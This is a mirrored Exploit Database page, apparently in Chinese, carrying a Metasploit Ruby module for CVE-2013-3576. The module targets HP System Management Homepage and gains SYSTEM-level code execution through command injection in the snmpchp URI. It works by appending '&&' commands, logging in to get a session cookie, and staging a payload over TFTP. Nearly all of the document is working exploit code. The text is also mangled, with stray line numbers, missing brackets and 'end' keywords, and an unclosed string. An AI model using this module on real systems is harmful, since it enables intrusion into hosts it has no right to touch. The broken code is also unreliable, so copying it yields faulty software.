HP System Management Homepage – JustGetSNMPQueue Command Injection (Metasploit)

Exploit Database
101 阅读

作者： Metasploit

日期： 2013-06-24
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/26420/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::CmdStagerTFTP

include Msf::Exploit::Remote::HttpClient

def initialize(info={})

super(update_info(info,

'Name' => "HP System Management Homepage JustGetSNMPQueue Command Injection",

'Description'=> %q{

This module exploits a vulnerability found in HP System Management Homepage.By

supplying a specially crafted HTTP request, it is possible to control the

'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc),

which will be used in a exec() function.This results in arbitrary code execution

under the context of SYSTEM.Please note: In order for the exploit to work, the

victim must enable the 'tftp' command, which is the case by default for systems

such as Windows XP, 2003, etc.

'License'=> MSF_LICENSE,

'Author' =>

[

'Markus Wulftange',

'sinn3r'#Metasploit

'References' =>

[

['CVE', '2013-3576'],

['OSVDB', '94191'],

['US-CERT-VU', '735364']

'Payload'=>

{

'BadChars' => "\x00"

'DefaultOptions' =>

{

'SSL' => true

'Platform' => 'win',

'Targets'=>

[

['Windows', {}],

'Privileged' => false,

'DisclosureDate' => "Jun 11 2013",

'DefaultTarget'=> 0))

register_options(

[

Opt::RPORT(2381),

# USERNAME/PASS may not be necessary, because the anonymous access is possible

OptString.new("USERNAME", [false, 'The username to authenticate as']),

OptString.new("PASSWORD", [false, 'The password to authenticate with'])

], self.class)

end

def peer

"#{rhost}:#{rport}"

end

def check

cookie = ''

if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty?

cookie = login

if cookie.empty?

print_error("#{peer} - Login failed")

return Exploit::CheckCode::Safe

else

print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")

end

sig = Rex::Text.rand_text_alpha(10)

cmd = Rex::Text.uri_encode("echo #{sig}")

uri = normalize_uri("smhutil", "snmpchp/") + "&&#{cmd}&&echo"

req_opts = {}

req_opts['uri'] = uri

if not cookie.empty?

browser_chk = 'HPSMH-browser-check=done for this session'

curl_loc= "curlocation-#{datastore['USERNAME']}="

req_opts['cookie'] = "#{cookie}; #{browser_chk}; #{curl_loc}"

end

res = send_request_raw(req_opts)

if not res

print_error("#{peer} - Connection timed out")

return Exploit::CheckCode::Unknown

end

if res.body =~ /SNMP data engine output/ and res.body =~ /#{sig}/

return Exploit::CheckCode::Vulnerable

end

Exploit::CheckCode::Safe

end

def login

username = datastore['USERNAME']

password = datastore['PASSWORD']

cookie = ''

res = send_request_cgi({

'method' => 'POST',

'uri'=> '/proxy/ssllogin',

'vars_post' => {

'redirecturl' => '',

'redirectquerystring' => '',

'user'=> username,

'password'=> password

}

})

if not res

fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out during login")

end

# CpqElm-Login: success

if res.headers['CpqElm-Login'].to_s =~ /success/

cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''

end

def setup_stager

execute_cmdstager({ :temp => '.'})

end

def execute_command(cmd, opts={})

# Payload will be: C:\hp\hpsmh\data\htdocs\smhutil

uri = Rex::Text.uri_encode("#{@uri}#{cmd}&&echo")

req_opts = {}

req_opts['uri'] = uri

if not @cookie.empty?

browser_chk = 'HPSMH-browser-check=done for this session'

curl_loc= "curlocation-#{datastore['USERNAME']}="

req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}"

end

print_status("#{peer} - Executing: #{cmd}")

res = send_request_raw(req_opts)

end

def exploit

@cookie = ''

if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty?

@cookie = login

if @cookie.empty?

fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed")

else

print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")

end

@uri = normalize_uri('smhutil', 'snmpchp/') + "&&"

setup_stager

end